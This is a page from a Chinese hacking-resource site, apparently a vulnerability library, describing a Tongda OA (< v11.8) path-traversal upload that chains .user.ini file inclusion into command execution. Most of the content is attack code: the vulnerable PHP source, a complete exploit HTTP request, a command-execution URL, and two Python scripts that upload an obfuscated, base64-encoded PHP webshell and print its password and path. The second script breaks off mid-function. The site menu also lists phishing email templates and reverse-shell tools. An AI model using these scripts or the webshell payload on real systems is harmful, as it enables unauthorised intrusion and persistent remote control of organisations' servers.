黑客街 黑客街 黑客街 黑客街
  • 职业导航
    • CTF
    • 程序员
  • 黑客推荐
  • 漏洞平台
    • Src众测
    • 国内平台
    • 国外平台
    • 乌云镜像站
  • 安全街
    • 安全资讯
    • 安全峰会
    • 区块链安全
    • 安全团队
    • 交流社区
    • 安全博客
    • PC安全
    • 服务器安全
  • 安全在线
    • 安全思维脑图
    • 在线学习
    • CTF
    • 实战靶场
    • 教育培训
  • 安全感知
    • 威胁情报
    • 勒索病毒
    • 文件分析
    • 被黑统计
  • 黑客神器
    • 搜索引擎
    • 加解密
    • ip检测
    • 短信接码
    • 邮箱伪造
    • web漏洞检测
    • web查询
    • 指纹识别
    • 二进制
  • APT
    • 学习哟
    • 信息收集
    • 木马免杀
    • 流量代理
    • 横向渗透
    • 远程控制
  • 墙外翻
    • 搜索
    • 暗网
    • 影频
  • 黑客工具
    • 综合工具
    • 代理隧道
    • webshell管理
黑客街 黑客街
  • 首页
  • 漏洞库
  • 街头小贩
  • 安全聚合
  • 安全博客
  • 黑客小镇
    • 匿名代理追踪
    • 杀软对比查询
    • 匿名聊天室
    • 反弹shell
    • 密码查
  • 行业导航
    • 程序员导航
    • CTF导航
    • 安全书籍
    • 娱乐导航
    • 自定义导航
  • 更多
    • 商务合作
    • 关于本站
    • 我有好建议
    • 申请收录

漏洞库

OA
    万户
    • 万户OA download_old.jsp 任意文件下载漏洞
    • 万户OA download_ftp.jsp 任意文件下载漏洞
    • 万户OA fileUpload.controller 任意文件上传漏洞
    • 万户OA showResult.action 后台SQL注入漏洞
    • 万户OA downloadhttp.jsp 任意文件下载漏洞
    • 万户OA smartUpload.jsp 任意文件上传漏洞
    泛微
    • 泛微OA E-cology <= 9.0 WorkflowServiceXml RCE
    • 泛微OA DBconfigReader.jsp 数据库配置信息泄漏漏洞
    • 泛微OA E-Bridge saveYZJFile 任意文件读取漏洞
    • 泛微OA E-Cology BshServlet 远程代码执行漏洞 CNVD-2019-32204
    • 泛微OA WorkflowCenterTreeData SQL注入漏洞
    • 泛微OA weaver.common.Ctrl 任意文件上传漏洞
    • 泛微OA V9 uploadOperation.jsp 任意文件上传
    • 泛微OA sysinterfacecodeEdit.jsp 任意文件上传漏洞
    • 泛微OA V8 ln.FileDownload 任意文件读取漏洞
    • 泛微OA V8 getdata.jsp SQL注入漏洞
    • 泛微OA E-Weaver SignatureDownLoad 任意文件读取漏洞
    • 泛微OA E-Office UserSelect 未授权访问漏洞
    • 泛微OA E-Office UploadFile.php 任意文件上传漏洞 CNVD-2021-49104
    • 泛微OA E-Office officeserver.php 任意文件读取漏洞
    • 泛微OA E-Office mysql_config.ini 数据库信息泄漏漏洞
    • 泛微OA E-Office group_xml.php SQL注入漏洞
    • 泛微OA E-Cology users.data 敏感信息泄漏
    • 泛微OA E-Cology LoginSSO.jsp SQL注入漏洞 CNVD-2021-33202
    • 泛微OA E-Cology HrmCareerApplyPerView.jsp SQL注入漏洞
    • 泛微OA E-Cology getSqlData SQL注入漏洞
    通达
    • 通达OA 部分漏洞信息整合
    • 通达OA v2014 get_contactlist.php 敏感信息泄漏漏洞
    • 通达OA-v2017-action_upload.php-任意文件上传漏洞
    • 通达OA v2017 video_file.php 任意文件下载漏洞
    • 通达OA v11.2 upload.php 后台任意文件上传漏洞
    • 通达OA v11.5 login_code.php 任意用户登录
    • 通达OA v11.5-8 logincheck_code.php 登陆绕过漏洞
    • 通达OA v11.5 swfupload_new.php SQL注入漏洞
    • 通达OA v11.6 print.php 任意文件删除&RCE
    • 通达OA v11.6 report_bi.func.php SQL注入漏洞
    • 通达OA v11.7 auth_mobi.php 在线用户登录漏洞
    • 通达OA v11.7 delete_cascade.php 后台SQL注入
    • 通达OA v11.8 api.ali.php 任意文件上传漏洞
    • 通达OA v11.8 getway.php 远程文件包含漏洞
    • 通达OA v11.8 update.php 后台文件包含XSS漏洞
    • 通达OA v11.8 update.php 后台文件包含命令执行漏洞
    • 通达OA v11.9 upsharestatus 后台SQL注入漏洞
    致远
    • 致远OA A6 config.jsp 敏感信息泄漏漏洞
    • 致远OA A6 createMysql.jsp 数据库敏感信息泄露
    • 致远OA A6 DownExcelBeanServlet 用户敏感信息泄露
    • 致远OA A6 initDataAssess.jsp 用户敏感信息泄露
    • 致远OA A6 setextno.jsp SQL注入漏洞
    • 致远OA A6 test.jsp SQL注入漏洞
    • 致远OA A8 htmlofficeservlet 任意文件上传漏洞
    • 致远OA A8 status.jsp 信息泄露漏洞
    • 致远OA ajax.do 任意文件上传 CNVD-2021-01627
    • 致远OA ajax.do上传文件漏洞
    • 致远OA getSessionList.jsp Session泄漏漏洞
    • 致远OA webmail.do 任意文件下载 CNVD-2020-62422
    • 致远OA 前台getshell
    • 致远OA-漏洞小汇总
    • 致远OA 默认密码
    蓝凌
    • 蓝凌OA admin.do JNDI远程命令执行
    • 蓝凌OA custom.jsp 任意文件读取漏洞
    • 蓝凌OA EKP 后台SQL注入漏洞 CNVD-2021-01363
    • 蓝凌OA sysSearchMain.do 远程命令执行漏洞
    • 蓝凌OA treexml.tmpl 远程命令执行漏洞
网络设备漏洞
    D-Link
    • D-Link AC管理系统 默认账号密码
    • D-LINK DAP-2020 webproc 任意文件读取漏洞 CVE-2021-27250
    • D-Link DAR-8000 importhtml.php 远程命令执行漏洞
    • D-Link DCS系列监控 账号密码信息泄露漏洞 CVE-2020-25078
    • D-Link Dir-645 getcfg.php 账号密码泄露漏洞 CVE-2019-17506
    • D-Link DSL-28881A FTP配置错误 CVE-2020-24578
    • D-Link DSL-28881A 信息泄露 CVE-2020-24577
    • D-Link DSL-28881A 未授权访问 CVE-2020-24579
    • D-Link DSL-28881A 远程命令执行 CVE-2020-24581
    • D-Link DSR-250N 万能密码漏洞
    • D-Link ShareCenter DNS-320 system_mgr.cgi 远程命令执行漏洞
    • D-Link DSL-3782 Code execution(CVE-2018-8941)
    • D-Link rce CVE-2019-16920
    小米路由器
    • 小米 路由器 c_upload 远程命令执行漏洞 CVE-2019-18370
    • 小米 路由器 extdisks 任意文件读取漏洞 CVE-2019-18371
    锐捷
    • 锐捷 EG易网关 branch_passw.php 远程命令执行
    • 锐捷 EG易网关 cli.php 远程命令执行漏洞
    • 锐捷 EG易网关 download.php 任意文件读取漏洞
    • 锐捷 EG易网关 phpinfo.view.php 信息泄露漏洞
    • 锐捷 EG易网关 管理员账号密码泄露漏洞
    • 锐捷 ISG 账号密码泄露漏洞
    • 锐捷 NBR 1300G路由器 越权CLI命令执行漏洞
    • 锐捷e.web NBR路由器 远程命令执行漏洞 CNVD-2021-09650
    • 锐捷 RG-UAC 账号密码信息泄露 CNVD-2021-14536
    • 锐捷 Smartweb管理系统 密码信息泄露漏洞
    • 锐捷 SSL VPN 越权访问漏洞
    Tenda
    • Tenda W15E企业级路由器 RouterCfm.cfg 配置文件泄漏漏洞
    • Tenda 11N无线路由器 Cookie 越权访问漏洞
    • Tenda-AX1806路由器多处栈溢出
    • CVE-2018-18708:Tenda路由器缓冲区溢出
    TP-Link
    • TP-Link AC1750 预认证远程代码执行漏洞(CVE-2021-27246)
    • TP-Link TL-WR841N远程代码执行漏洞(CVE-2020-35576)
    • TP-Link WR2041 v1拒绝服务漏洞(CVE-2021-26827)
    • TP-link 栈溢出漏洞(CVE-2021-29302)
    HIKVISION
    • HIKVISION DS/IDS/IPC 等设备 远程命令执行漏洞 CVE-2021-36260
    • HIKVISION 流媒体管理服务器 user.xml 账号密码泄漏漏洞
    • HIKVISION 流媒体管理服务器 后台任意文件读取漏洞 CNVD-2021-14544
    • HIKVISION 视频编码设备接入网关 $DATA 任意文件读取
    • HIKVISION 视频编码设备接入网关 showFile.php 任意文件下载漏洞
    • HIKVISION 联网网关 downdb.php 任意文件读取漏洞
    移动
    • 中国移动 禹路由 ExportSettings.sh 敏感信息泄露漏洞 CNVD-2020-67110
    • 中国移动 禹路由 simple-index.asp 越权访问漏洞 CNVD-2020-55983
    • 中国移动 HG6543C4
    电信
    • 电信 中兴ZXHN F450A网关 默认管理员账号密码漏洞
    • 电信 天翼网关F460 web_shell_cmd.gch 远程命令执行漏洞
    • 电信 网关配置管理系统 login.php SQL注入漏洞
    华为
    • HG659 lib 任意文件读取漏洞
    • DG8045 deviceinfo 信息泄漏漏洞
安全设备漏洞
    维盟
    • Wayos AC集中管理系统默认弱口令 CNVD-2021-00876
    • Wayos 防火墙 后台命令执行漏洞
    • Wayos 防火墙 账号密码泄露漏洞
    启明星辰
    • 启明星辰 天清汉马USG防火墙 逻辑缺陷漏洞
    • 启明星辰 天清汉马USG防火墙 默认口令漏洞
    • 天珣内网安全风险管理与审计系统V6.6.9.5 SQL注入漏洞
    • 天玥运维安全网关Sql注入漏洞
    奇安信
    • 网康 NS-ASG安全网关 cert_download.php 任意文件读取漏洞
    • 网康 下一代防火墙 router 远程命令执行漏洞
    • 网神 下一代极速防火墙 pki_file_download 任意文件读取漏洞
    • 天擎 - 2021年前版本 sql注入
    • 天擎 任意文件上传
    • 网康 (2014年)多个产品通杀漏洞
    深信服
    • 深信服上网行为管理系统多处漏洞(2013年)
    • 应用交付管理系统权限绕过(2012年)
    • SSL VPN Pre Auth 任意密码重置 (2020年)
    • 深信服 SSL VPN - Pre Auth 修改绑定手机 (2020年)
    • 深信服 SSL VPN 解密 (本地)
    • EDR远程命令执行 CNVD-2020-46552
    • 终端检测相应平台(EDR) 任意用户登陆漏洞
    • 终端检测相应平台(EDR) 任意命令执行漏洞(二)
    天融信
    • TopApp-LB enable_tool_debug.php 远程命令执行漏洞
    • opApp-LB 负载均衡系统Sql注入漏洞
    • OPAPP-LB 负载均衡命令执行
    • 数据防泄漏系统越权修改管理员密码
    安恒
    • 明御WEB应用防火墙 report.php 任意用户登录漏洞
    • 数据大脑 API 网关任意密码重置漏洞
    齐治堡垒机
    • (CNVD-2019-09593)齐治堡垒机 ShtermClient-2.1.1 命令执行漏洞
    • (CNVD-2019-17294)齐治堡垒机 后台命令执行漏洞
    • (CNVD-2019-20835)齐治堡垒机 前台远程命令执行漏洞
    • 任意用户登录漏洞 (2020)
    绿盟
    • UTS绕过登录
    • uts信息泄露
    • BAS日志数据安全性分析系统 accountmanage 未授权访问漏洞
    Teleport堡垒机
    • get-file 后台任意文件读取漏洞
    • do-login 任意用户登录漏洞
    H3C
    • IMC dynamiccontent.properties.xhtm 远程命令执行 CNVD-2021-39067
    • SecParh堡垒机 data_provider.php 远程命令执行漏洞
    • SecParh堡垒机 get_detail_view.php 任意用户登录漏洞
    金山
    • 金山 V8 终端安全系统 get_file_content.php 任意文件读取漏洞
    • 金山 V8 终端安全系统 downfile.php 任意文件读取漏洞
    • 金山 V8 终端安全系统 pdf_maker.php 命令执行漏洞
    中远麒麟
    • iAudit堡垒机 get_luser_by_sshport.php 远程命令执行漏洞
应用漏洞
    向日葵
    • 向日葵 check 远程命令执行漏洞 CNVD-2022-10270
    VMware
    • VMware vRealize Operations Manager SSRF漏洞 CVE-2021-21975
    • VMware vCenter vid 任意文件读取漏洞
    • VMware Workspace ONE Access SSTI漏洞 CVE-2022-22954
    • CVE-2021-21972 vCenter Serve 任意文件上传
    • CVE-2021-22005
    • CVE-2021-44228 log4j漏洞
    Chrome
    • Chrome 远程命令执行漏洞
    openssl
    • 心脏滴血漏洞 CVE-2014-0160
    OpenSSH
    • 命令注入漏洞 CVE-2020-15778

渗透测试

应急响应
    第三章 应急响应之实战分析
    • SSH暴力破解
    • (Linux)挖矿木马分析
    • (linux)记一次与挖矿木马的较量
    • (web)记一次Windows下的应急过程
    • (windows)记一次简单的应急响应-驱动人生
    第二章 应急响应之日志分析
    • 数据库日志分析
    • 中间件日志分析
    • 系统日志分析
    第一章. 应急之排查方法
    • Windows 排查方法
    • Linux下排查方法
社工钓鱼
  • 社会工程学攻击
  • 邮件模板
    • 邮件模板-升级办公OA
    • 邮件模板-处罚通知模板
    • 邮件模板-放假通知
    • 邮件模板-学校网络学习平台升级通知
    • 邮件模板-产品升级公告通知
    • 邮件模板-员工涨薪通知
    社会工程学攻击-简单钓鱼文件制作
    • 利用Cobalt strike发送钓鱼邮件
    • Word邮件与 CSV注入
    • 自解压捆绑文件钓鱼
    社工钓鱼案例整理
    • 案例1--警惕:最新钓鱼邮件案例分析
    • 案例2–蓝队视角下的“HVV利剑”-钓鱼攻击案例分享与总结
    • 案例3-X站钓鱼邮件应急响应案例分析
    • 案例4-某大型攻防演练中红队钓鱼邮件攻击手法复盘
    • 案例5-币安钓鱼案例参考
    • 案例6-使用新冠疫情发起钓鱼攻击的最新案例
    • 案例7-上海交通大学案例参考
    • 案例8-钓鱼邮件模板
    • 案例9-上海理工大学案例参考
    • 案例10-钓鱼邮件常见小技巧
Web常见漏洞
  • Web常见漏洞描述及修复建议
  • Web漏洞集
    • SQL注入漏洞基本原理
    • 任意文件下载
    • 敏感文件
    • 文件包含
    • 文件上传
    • 命令执行rce
    • 代码执行
    • XML外部实体注入
    • 逻辑漏洞
      • 验证码逻辑
      • 支付漏洞
      • 越权访问
      • 会话劫持
      • 会话重放漏洞
      • 会话固定
      • 任意用户密码重置
      未授权访问
      • 常见的未授权访问漏洞
      • Redis未授权访问
      • MongoDB 未授权访问
      • Memcached 未授权访问
      • Zookeeper未授权访问
      • Rsync 未授权访问漏洞
      • Docker未授权访问
      • Jenkins未授权访问
      • Hadoop 未授权访问
      • JBOSS未授权访问漏洞
      • Druid未授权访问
      信息泄露
      • 敏感信息泄漏
      • 备份文件泄露
      • .DS_Store源码泄露
      • CVS泄漏
      • .hg源码泄漏
      • .SVN源码泄露
      • .Git源码泄露
      浏览器域
      • 同源策略-Jsonp劫持-CORS跨域
      • XSS跨站
      • CSRF
      • SSRF
  • Home
  • 知识文库
  • 漏洞库
  • OA
  • 通达
  • 通达OA v11.8 update.php 后台文件包含命令执行漏洞

通达OA v11.8 update.php 后台文件包含命令执行漏洞

目录
  • 漏洞描述
  • 漏洞影响
  • 漏洞复现
  • 漏洞POC

漏洞描述 #

通达OA v11.8以下存在文件上传接口,可上传 .user.ini 文件包含有PHP语句的文件导致命令执行

漏洞影响 #

通达OA < v11.8

漏洞复现 #

这里使用的环境为通达 v11.6版本

出现漏洞的文件为 webroot/general/hr/manage/staff_info/update.php

<?php

include_once "inc/auth.inc.php";
include_once "inc/utility_all.php";
include_once "inc/utility_file.php";
include_once "inc/utility_field.php";
include_once "inc/utility_cache.php";
include_once "general/system/log/annual_leave_log.php";
if (strstr($BYNAME, "/") || strstr($BYNAME, "\\") || strstr($BYNAME, "..")) {
    Message(_("错误"), _("OA用户名包含非法字符!"));
    exit();
}

include_once "inc/header.inc.php";
echo "\r\n<body class=\"bodycolor\">\r\n";
echo "\r\n<body class=\"bodycolor\">\r\n";
$PHOTO_NAME0 = $_FILES["ATTACHMENT"]["name"];
$ATTACHMENT = $_FILES["ATTACHMENT"]["tmp_name"];

if ($PHOTO_NAME0 != "") {
    $FULL_PATH = MYOA_ATTACH_PATH . "hrms_pic";

    if (!file_exists($FULL_PATH)) {
        @mkdir($FULL_PATH, 448);
    }

    $PHOTO_NAME = $USER_ID . substr($PHOTO_NAME0, strrpos($PHOTO_NAME0, "."));
    $FILENAME = MYOA_ATTACH_PATH . "hrms_pic/" . $PHOTO_NAME;
    td_copy($ATTACHMENT, $FILENAME);

    if (file_exists($ATTACHMENT)) {
        unlink($ATTACHMENT);
    }

    if (!file_exists($FILENAME)) {
        Message(_("附件上传失败"), _("原因:附件文件为空或文件名太长,或附件大于30兆字节,或文件路径不存在!"));
        Button_Back();
        exit();
    }
}
通达OA v11.8 update.php 后台文件包含命令执行漏洞

在这里参数 $USER_ID 是可控的,并且无过滤危险符号就拼接进去了,那我们传入 ../../../ 我们就可以任意文件上传了

由于通达OA 的文件上传限制的死死的,所以我们可以通过利用 PHP的 .user.ini 文件来包含其他文件,这里是可以用于包含PHP语句的文件的,所以我们上传文件内容为

auto_prepend_file=peiqi.log

请求包为

POST /general/hr/manage/staff_info/update.php?USER_ID=../../general/reportshop/workshop/report/attachment-remark/.user HTTP/1.1
Host: 192.168.1.105
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------17518323986548992951984057104
Content-Length: 365
Connection: close
Cookie: USER_NAME_COOKIE=admin; OA_USER_ID=admin; PHPSESSID=kqfgar7u3c0ang0es41u3u67p4; SID_1=a63eb31
Upgrade-Insecure-Requests: 1

-----------------------------17518323986548992951984057104
Content-Disposition: form-data; name="ATTACHMENT"; filename="peiqi.ini"
Content-Type: text/plain

auto_prepend_file=peiqi.log
-----------------------------17518323986548992951984057104
Content-Disposition: form-data; name="submit"

提交
-----------------------------17518323986548992951984057104--

其中 USER_ID=../../general/reportshop/workshop/report/attachment-remark/.user 为上传路径

关于更多原理参考 http://wiki.peiqi.tech 中的另一篇 通达OA v11.8 后台文件包含存储型XSS漏洞

这里我们简单知道了上传方式,那我们就通过 .user.ini文件 包含恶意文件

通达OA v11.8 update.php 后台文件包含命令执行漏洞

现在已经成功上传了恶意文件

访问 http://xxx.xxx.xxx.xxx/general/reportshop/workshop/report/attachment-remark/form.inc.php?peiqi=ipconfig 文件包含命令执行

通达OA v11.8 update.php 后台文件包含命令执行漏洞

在 v11.6中 上传的位置并没有限定所以可以上传在方便访问的目录(不需要登录)

而 v11.8中则有目录名的限制需要目录带有 webroot 和 attachment

通达OA v11.8 update.php 后台文件包含命令执行漏洞 通达OA v11.8 update.php 后台文件包含命令执行漏洞

漏洞POC #

脚本在 v11.6 测试成功执行, 在 v11.6以上执行时 这个webshell无法执行命令

v11.7 v11.8可用蚁剑插件绕过连接webshell

import requests
import sys
import random
import re
import base64
from requests.packages.urllib3.exceptions import InsecureRequestWarning

def title():
    print('+------------------------------------------')
    print('+  \033[34mPOC_Des: http://wiki.peiqi.tech                                   \033[0m')
    print('+  \033[34mVersion: 通达OA < V11.8                                             \033[0m')
    print('+  \033[36m使用格式:  python3 poc.py                                            \033[0m')
    print('+  \033[36mUrl         >>> http://xxx.xxx.xxx.xxx                             \033[0m')
    print('+  \033[36mCookie      >>> xxxxxxxxxxxxxxxxxxxxxx                             \033[0m')
    print('+------------------------------------------')

def POC_1(target_url, Cookie):
    vuln_url = target_url + "/general/hr/manage/staff_info/update.php?USER_ID=../../general/reportshop\workshop/report/attachment-remark/.user"
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
        "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
        "Accept-Encoding": "gzip, deflate",
        "Content-Type": "multipart/form-data; boundary=---------------------------17518323986548992951984057104",
        "Connection": "close",
        "Cookie": Cookie,
        "Upgrade-Insecure-Requests": "1",
    }
    data = base64.b64decode("LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0xNzUxODMyMzk4NjU0ODk5Mjk1MTk4NDA1NzEwNApDb250ZW50LURpc3Bvc2l0aW9uOiBmb3JtLWRhdGE7IG5hbWU9IkFUVEFDSE1FTlQiOyBmaWxlbmFtZT0idGVzdC5pbmkiCkNvbnRlbnQtVHlwZTogdGV4dC9wbGFpbgoKYXV0b19wcmVwZW5kX2ZpbGU9dGVzdC5sb2cKLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0xNzUxODMyMzk4NjU0ODk5Mjk1MTk4NDA1NzEwNApDb250ZW50LURpc3Bvc2l0aW9uOiBmb3JtLWRhdGE7IG5hbWU9InN1Ym1pdCIKCuaPkOS6pAotLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLTE3NTE4MzIzOTg2NTQ4OTkyOTUxOTg0MDU3MTA0LS0=")
    try:
        requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
        response = requests.post(url=vuln_url, data=data, headers=headers, verify=False, timeout=5)
        print("\033[36m[o] 正在请求 {}/general/hr/manage/staff_info/update.php?USER_ID=../../general/reportshop/workshop/report/attachment-remark/.user \033[0m".format(target_url))
        if "档案已保存" in response.text and response.status_code == 200:
            print("\033[32m[o] 目标 {} 成功上传.user.ini文件, \033[0m".format(target_url))
            POC_2(target_url, Cookie)
        else:
            print("\033[31m[x] 目标 {} 上传.user.ini文件失败\033[0m".format(target_url))
            sys.exit(0)

    except Exception as e:
        print("\033[31m[x] 请求失败 \033[0m", e)

def POC_2(target_url, Cookie):
    vuln_url = target_url + "/general/hr/manage/staff_info/update.php?USER_ID=../../general/reportshop\workshop/report/attachment-remark/test"
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
        "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
        "Accept-Encoding": "gzip, deflate",
        "Content-Type": "multipart/form-data; boundary=---------------------------17518323986548992951984057104",
        "Connection": "close",
        "Cookie":  Cookie,
        "Upgrade-Insecure-Requests": "1",
    }
    data = base64.b64decode("LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0xNzUxODMyMzk4NjU0ODk5Mjk1MTk4NDA1NzEwNApDb250ZW50LURpc3Bvc2l0aW9uOiBmb3JtLWRhdGE7IG5hbWU9IkFUVEFDSE1FTlQiOyBmaWxlbmFtZT0idGVzdC5sb2ciCkNvbnRlbnQtVHlwZTogdGV4dC9wbGFpbgoKPD9waHAgCmVjaG8gInRlc3RfV2lraSI7CiRwemtCPWNyZWF0ZV9mdW5jdGlvbihjaHIoMDEwMTc1MC8wMTY1MikuYmFzZTY0X2RlY29kZSgnY3c9PScpLmJhc2U2NF9kZWNvZGUoJ2J3PT0nKS5jaHIoOTkwODEvOTA5KS5jaHIoMDEwMjUtMDY2MCksY2hyKDA1MTctMDM1MikuY2hyKDB4MzQzLTB4MmNkKS5iYXNlNjRfZGVjb2RlKCdZUT09Jykuc3RyX3JvdDEzKCd5JykuYmFzZTY0X2RlY29kZSgnS0E9PScpLmJhc2U2NF9kZWNvZGUoJ0pBPT0nKS5jaHIoNDQ0LTMyOSkuYmFzZTY0X2RlY29kZSgnYnc9PScpLmNocig1OTctNDg4KS5jaHIoMHgxOWYtMHgxM2EpLmNocigyMTktMTc4KS5iYXNlNjRfZGVjb2RlKCdPdz09JykpOyRwemtCKGJhc2U2NF9kZWNvZGUoJ05EZzFOJy4nemMyTzAnLidCbGRrRicuJ3NLQ1JmJy4nJy5jaHIoODIxMTAvOTY2KS5iYXNlNjRfZGVjb2RlKCdSUT09Jykuc3RyX3JvdDEzKCc5JykuY2hyKDAxNTUwNjQvMDEyMzEpLmJhc2U2NF9kZWNvZGUoJ1ZnPT0nKS4nJy4nJy5zdHJfcm90MTMoJ1MnKS5iYXNlNjRfZGVjb2RlKCdkQT09JykuYmFzZTY0X2RlY29kZSgnTUE9PScpLmNocig2MDc1MC82NzUpLmNocigwMTUwNy0wMTM1NykuJycuJ04wWFNrJy4nN01UUTEnLidOek15TycuJ0RzPScuJycpKTs/PgotLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLTE3NTE4MzIzOTg2NTQ4OTkyOTUxOTg0MDU3MTA0CkNvbnRlbnQtRGlzcG9zaXRpb246IGZvcm0tZGF0YTsgbmFtZT0ic3VibWl0IgoK5o+Q5LqkCi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tMTc1MTgzMjM5ODY1NDg5OTI5NTE5ODQwNTcxMDQtLQo=")
    try:
        requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
        response = requests.post(url=vuln_url, data=data, headers=headers, verify=False, timeout=5)
        print("\033[36m[o] 正在请求 {}/general/hr/manage/staff_info/update.php?USER_ID=../../general/reportshop/workshop/report/attachment-remark/test \033[0m".format(target_url))
        if "档案已保存" in response.text and response.status_code == 200:
            print("\033[32m[o] 目标 {} 成功上传 test.log 文件, \033[0m".format(target_url))
            POC_3(target_url, Cookie)
        else:
            print("\033[31m[x] 目标 {} 上传 test.log 文件失败\033[0m".format(target_url))
            sys.exit(0)

    except Exception as e:
        print("\033[31m[x] 请求失败 \033[0m", e)

def POC_3(target_url, Cookie):
    vuln_url = target_url + "/general/reportshop/workshop/report/attachment-remark/form.inc.php?"
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
        "Cookie":  Cookie,
    }
    try:
        requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
        response = requests.get(url=vuln_url, headers=headers, verify=False, timeout=5)
        print("\033[36m[o] 正在请求 {}/general/reportshop/workshop/report/attachment-remark/form.inc.php? \033[0m".format(target_url))
        if "test_Wiki" in response.text and response.status_code == 200:
            print("\033[32m[o] 目标 {} 存在漏洞,响应中包含 test_Wiki \033[0m".format(target_url))
            print("\033[32m[o] 成功上传蚁剑木马 密码为: test \n[o] webshell路径: {}/general/reportshop/workshop/report/attachment-remark/form.inc.php?\033[0m".format(target_url))

        else:
            print("\033[31m[x] 目标 {} 不存在漏洞,响应中不包含 test_Wiki\033[0m".format(target_url))
            sys.exit(0)
    except Exception as e:
        print("\033[31m[x] 请求失败 \033[0m", e)



if __name__ == '__main__':
    title()
    target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m"))
    Cookie = "PHPSESSID=ug4ip8ohugo61bmu399npplep5; USER_NAME_COOKIE=admin; OA_USER_ID=admin"
    POC_1(target_url, Cookie)
通达OA v11.8 update.php 后台文件包含命令执行漏洞

v11.8及以下可连接蚁剑生成的webshell控制,且生成后不需要管理员Cookie即可连接

import requests
import sys
import random
import re
import base64
from requests.packages.urllib3.exceptions import InsecureRequestWarning

def title():
    print('+------------------------------------------')
    print('+  \033[34mPOC_Des: http://wiki.peiqi.tech                                   \033[0m')
    print('+  \033[34mGithub : https://github.com/PeiQi0                                 \033[0m')
    print('+  \033[34m公众号 : PeiQi文库                                                     \033[0m')
    print('+  \033[34mVersion: 通达OA < V11.8                                             \033[0m')
    print('+  \033[36m使用格式:  python3 poc.py                                            \033[0m')
    print('+  \033[36mUrl         >>> http://xxx.xxx.xxx.xxx                             \033[0m')
    print('+  \033[36mCookie      >>> xxxxxxxxxxxxxxxxxxxxxx                             \033[0m')
    print('+------------------------------------------')

def POC_1(target_url, Cookie):
    vuln_url = target_url + "/general/hr/manage/staff_info/update.php?USER_ID=../../general/reportshop\workshop/report/attachment-remark/.user"
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
        "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
        "Accept-Encoding": "gzip, deflate",
        "Content-Type": "multipart/form-data; boundary=---------------------------17518323986548992951984057104",
        "Connection": "close",
        "Cookie": Cookie,
        "Upgrade-Insecure-Requests": "1",
    }
    data = base64.b64decode("LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0xNzUxODMyMzk4NjU0ODk5Mjk1MTk4NDA1NzEwNApDb250ZW50LURpc3Bvc2l0aW9uOiBmb3JtLWRhdGE7IG5hbWU9IkFUVEFDSE1FTlQiOyBmaWxlbmFtZT0icGVpcWkuaW5pIgpDb250ZW50LVR5cGU6IHRleHQvcGxhaW4KCmF1dG9fcHJlcGVuZF9maWxlPXBlaXFpLmxvZwotLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLTE3NTE4MzIzOTg2NTQ4OTkyOTUxOTg0MDU3MTA0CkNvbnRlbnQtRGlzcG9zaXRpb246IGZvcm0tZGF0YTsgbmFtZT0ic3VibWl0IgoK5o+Q5LqkCi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tMTc1MTgzMjM5ODY1NDg5OTI5NTE5ODQwNTcxMDQtLQ==")
    try:
        requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
        response = requests.post(url=vuln_url, data=data, headers=headers, verify=False, timeout=5)
        print("\033[36m[o] 正在请求 {}/general/hr/manage/staff_info/update.php?USER_ID=../../general/reportshop/workshop/report/attachment-remark/.user \033[0m".format(target_url))
        if "档案已保存" in response.text and response.status_code == 200:
            print("\033[32m[o] 目标 {} 成功上传.user.ini文件, \033[0m".format(target_url))
            POC_2(target_url, Cookie)
        else:
            print("\033[31m[x] 目标 {} 上传.user.ini文件失败\033[0m".format(target_url))
            sys.exit(0)

    except Exception as e:
        print("\033[31m[x] 请求失败 \033[0m", e)

def POC_2(target_url, Cookie):
    vuln_url = target_url + "/general/hr/manage/staff_info/update.php?USER_ID=../../general/reportshop\workshop/report/attachment-remark/peiqi"
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
